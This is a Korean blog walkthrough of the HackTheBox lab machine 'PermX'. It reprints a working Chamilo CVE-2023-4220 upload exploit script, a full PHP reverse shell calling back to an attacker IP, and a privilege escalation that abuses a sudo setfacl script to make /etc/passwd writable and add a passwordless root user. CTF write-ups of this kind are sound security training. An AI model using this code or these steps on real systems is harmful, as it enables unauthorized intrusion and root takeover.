본문 바로가기

Hacking/HackTheBox

permx (Linux)

1. 정찰

 - nmap 22, 80 열려 있고,

  openssh 8.9p1, 아파치 2.4.52 버전 사용 중이다.

 - dir, subdomain, vhost 다 해봐도 별거 나오는게 없는데, (gobuster vhost 는 에러 많이 떠서 도저히 결과를 볼 수가 없겠더이다)

ffuf -u http://permx.htb -H "Host:FUZZ.permx.htb" -w wordlist -mc 200

이거 하면, lms.permx.com 이 나온다.

근데 웹브라우저에 직접 lms.permx.com 하면 접근이 안된다.

 

일종의  HTTP desynchronization attack 인가란 생각이 들었다. 어떻게 이렇게 될 수 있는거지?

그리고 ffuf 는 응답 코드에 따라 결과 값을 볼 때 쓰는 거구나 란 생각을 했음

 

- lms.permx.com 에는 directory listing 취약점이 있다.

후다닥 봤을때, 쓸만한 건 없어 보였고,

쉘을 따면 db는 다 털 수 있겠구나 란 생각을 했음

 

- 디렉토리 리스팅을 금방 뒤로 하고, chamilo exploit 찾기에 집중

  아마도 https://packetstormsecurity.com/files/174314/Chamilo-1.11.18-Command-Injection.html (CVE-2023-34960) 

  아닐까? 하면서.. (이었음 좋겠다 정찰하다가 시간 다 갔다...)

 

2. exploit  수행

msf6 > use exploit/linux/http/chamilo_unauth_rce_cve_2023_34960
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > set RHOST 10.129.191.112
RHOST => 10.129.191.112
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > set RPORT 80
RPORT => 80
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > set RHOST http://lms.permx.htb
RHOST => http://lms.permx.htb
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > set RPORT 80
RPORT => 80
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > set TARGETURI /main/webservices/additional_webservices.php
TARGETURI => /main/webservices/additional_webservices.php
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > set LHOST 10.10.14.17
LHOST => 10.10.14.17
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > set LPORT 3333
LPORT => 3333
msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > exploit

[-] Handler failed to bind to 10.10.14.17:3333:-  -
[*] Started reverse TCP handler on 0.0.0.0:3333
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 10.129.191.112:80 can be exploited.
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. No valid response received from the target. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.

exploit  안됨

 

추가로 폴더 들 찾아봤는데, 특별 할 껏 없음

1.11.24 인것으로 보임

https://github.com/Ziad-Sakr/Chamilo-CVE-2023-4220-Exploit

 

GitHub - Ziad-Sakr/Chamilo-CVE-2023-4220-Exploit: This is an Exploit for Unrestricted file upload in big file upload functionali

This is an Exploit for Unrestricted file upload in big file upload functionality in Chamilo-LMS for this location "/main/inc/lib/javascript/bigupload/inc/bigUpload.php" in Chamilo LMS <...

github.com

안에 sh 하고 php 파일 잠시 보고 넘어감

# Exploit Title : Chamilo LMS CVE-2023-4220 Exploit
# Date : 11/28/2023
# Exploit Author : Ziad Sakr (@Ziad-Sakr)
# Version : ≤v1.11.24
# CVE : 2023-4220
# CVE Link : https://nvd.nist.gov/vuln/detail/CVE-2023-4220
#
# Description :
#   This is an Exploit for Unrestricted file upload in big file upload functionality in Chamilo-LMS for this 
#   location "/main/inc/lib/javascript/bigupload/inc/bigUpload.php" in Chamilo LMS <= v1.11.24, and Attackers can 
#   obtain remote code execution via uploading of web shell.
#
# Usage:  ./CVE-2023-4220.sh -f reveres_file -h host_link -p port_in_the_reverse_file


#!/bin/bash

# Initialize variables with default values
reverse_file=""
host_link=""
port=""

#------------------------------------------------

RED='\033[0;31m'
GREEN='\033[0;32m'
NC='\033[0m'


# Usage function to display script usage
usage() {
    echo -e "${GREEN}"
    echo "Usage: $0 -f reverse_file -h host_link -p port_in_the_reverse_file"
    echo -e "${NC}"
    echo "Options:"
    echo "  -f    Path to the reverse file"
    echo "  -h    Host link where the file will be uploaded"
    echo "  -p    Port for the reverse shell"
    exit 1
}

# Parse command-line options
while getopts "f:h:p:" opt; do
    case $opt in
        f)
            reverse_file=$OPTARG
            ;;
        h)
            host_link=$OPTARG
            ;;
        p)
            port=$OPTARG
            ;;
        \?)
            echo -e "${RED}"
            echo "Invalid option: -$OPTARG" >&2
            usage
            ;;
        :)
	    echo -e "${RED}"
            echo "Option -$OPTARG requires an argument." >&2
            usage
            ;;
    esac
done

# Check if all required options are provided
if [ -z "$reverse_file" ] || [ -z "$host_link" ] || [ -z "$port" ]; then
    echo -e  "${RED}"
    echo "All options -f, -h, and -p are required."
    usage
fi
# Perform the file upload using curl
echo -e "${GREEN}" 
curl -F "bigUploadFile=@$reverse_file" "$host_link/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported"
echo
echo
echo -e "#    Use This leter For Interactive TTY ;) " "${RED}"
echo "#    python3 -c 'import pty;pty.spawn(\"/bin/bash\")'"
echo "#    export TERM=xterm"
echo "#    CTRL + Z"
echo "#    stty raw -echo; fg"
echo -e "${GREEN}"
echo "# Starting Reverse Shell On Port $port . . . . . . ."
sleep 3
curl "$host_link/main/inc/lib/javascript/bigupload/files/$reverse_file" &
echo -e  "${NC}"

nc -lnvp $port

 

curl -F 옵션으로 취약한 경로에 파일 업로드.

 

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.17';
$port = 3333;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

 

php 리버스 쉘 코드

 

kali 에서 sh 수행

윈도우에서 listening

해당 계정은 web 서버 계정으로

/home/mtz 계정 필요

 

웹 계정으로

아래에서 패스워드 발견 및 mtz 로 로그인

 

3. 권한 상승

AS usual sudo -l 수행 ㅎㅎ

/opt/acl.sh 실행 가능

코드를 보 

mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh
mtz@permx:~$ cat /opt/acl.sh
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

해당 파일의 소유자는 root로 sudo 로 setfacl ( 파일 acl 변경 수행, -m [유형]:[이름]:[권한] 파일명)

1. env_reset

  • 설명: sudo 명령어를 실행할 때, 기본 환경 변수만 남기고 나머지는 모두 제거합니다. 이는 보안 상의 이유로 설정되며, 악의적인 환경 변수가 전달되는 것을 방지합니다.
  • 동작: 예를 들어, sudo를 사용하여 루트 권한으로 명령을 실행할 때, 사용자 환경 변수 대신 안전한 기본 환경 변수만 전달됩니다.

2. mail_badpass

  • 설명: 사용자가 sudo 명령을 실행하려고 할 때 잘못된 비밀번호를 입력하면, 시스템 관리자에게 메일을 보냅니다.
  • 동작: 잘못된 비밀번호 시도로 인한 보안 경고를 시스템 관리자에게 알립니다. 이는 비밀번호 유추 공격을 감지하고 대응하는 데 도움이 됩니다.

3. secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

  • 설명: sudo 명령어를 실행할 때 사용할 PATH 환경 변수를 설정합니다. 이는 명령어가 신뢰할 수 있는 경로에서만 실행되도록 보장합니다.
  • 동작: sudo를 사용할 때, 명령어가 위에 나열된 디렉토리에서만 검색됩니다. 이는 악의적인 프로그램이 다른 경로에 있는 경우 이를 방지하는 데 도움이 됩니다.
    • /usr/local/sbin
    • /usr/local/bin
    • /usr/sbin
    • /usr/bin
    • /sbin
    • /bin
    • /snap/bin

4. use_pty

  • 설명: sudo 명령어를 실행할 때 의사 터미널(PTY)을 사용하도록 강제합니다. 이는 명령어 실행을 더 안전하게 하고 로깅을 더 용이하게 합니다.
  • 동작: PTY를 사용하면 sudo 명령어 실행 중 모든 입력과 출력이 의사 터미널을 통해 전달됩니다. 이는 세션을 더 안전하게 관리하고 로깅을 용이하게 합니다.

요약

  • env_reset: 기본 환경 변수만 유지하고 나머지는 제거하여 보안을 강화.
  • mail_badpass: 잘못된 비밀번호 입력 시 시스템 관리자에게 경고 메일 발송.
  • secure_path: sudo 명령어 실행 시 사용할 안전한 경로 목록을 지정.
  • use_pty: sudo 명령어 실행 시 의사 터미널을 사용하여 보안 및 로깅 강화.

이러한 설정들은 sudo 명령어를 사용할 때 보안을 강화하고, 관리자에게 잠재적인 보안 문제를 경고하며, 명령어가 신뢰할 수 있는 경로에서만 실행되도록 보장하는 데 중요한 역할을 합니다.

 

mtz@permx:/opt$ ln -s /etc/shadow /home/mtz/test
mtz@permx:/opt$ ls -l /home/mtz
total 4
lrwxrwxrwx 1 mtz  mtz 11 Jul 23 15:23 test -> /etc/shadow
-rw-r----- 1 root mtz 33 Jul 23 06:42 user.txt
mtz@permx:/opt$ sudo ./acl.sh mtz rw /home/mtz/test
mtz@permx:/opt$ cat /home/mtz/test
root:$y$j9T$VEMcaSLaOOvSE3mYgRXRv/$tNXYdTRyCAkwoSHhlyIoCS91clvPEp/hh0r4NTBlmS7:19742:0:99999:7:::

ln -s [대상파일] [소스파일]

sudo 로 실행 해주는 것 필수 ? (근데 왜 그래야 되는건지 의문임) 그냥 실행 하면 패스워드를 입력 받고,
setfacl 실행 권한 없다고 나옴

 

mtz@permx:/opt$ ln -s /etc/passwd /home/mtz/test2
mtz@permx:/opt$ sudo ./acl.sh mtz rw /home/mtz/test2
mtz@permx:/opt$ echo "root6::0:0:root6:/root:/bin/bash" >> /home/mtz/test2
mtz@permx:/opt$ su root6
root@permx:/opt# cat root.txt
cat: root.txt: No such file or directory
root@permx:/opt# ls
acl.sh
root@permx:/opt# cd /root
root@permx:~# ls
backup  reset.sh  root.txt
root@permx:~# cat root.txt

shadow 파일에 비밀번호 넣지 않고, passwd 파일에 비밀번호 없이 다이렉트로 입력

==> 사용자id:비번(비우면 비번 없음, x 면 암호화되어 shadow 파일에 있음):UID:GID:사용자설명:로그인 쉘

 

root 획득!!

'Hacking > HackTheBox' 카테고리의 다른 글

MonitorsThree (Linux · Medium)  (1) 2024.09.25
secnotes (win)  (1) 2024.08.05
Jeeves (win)  (1) 2024.07.02
Union (Linux)  (1) 2024.06.27
pov (win)  (0) 2024.06.12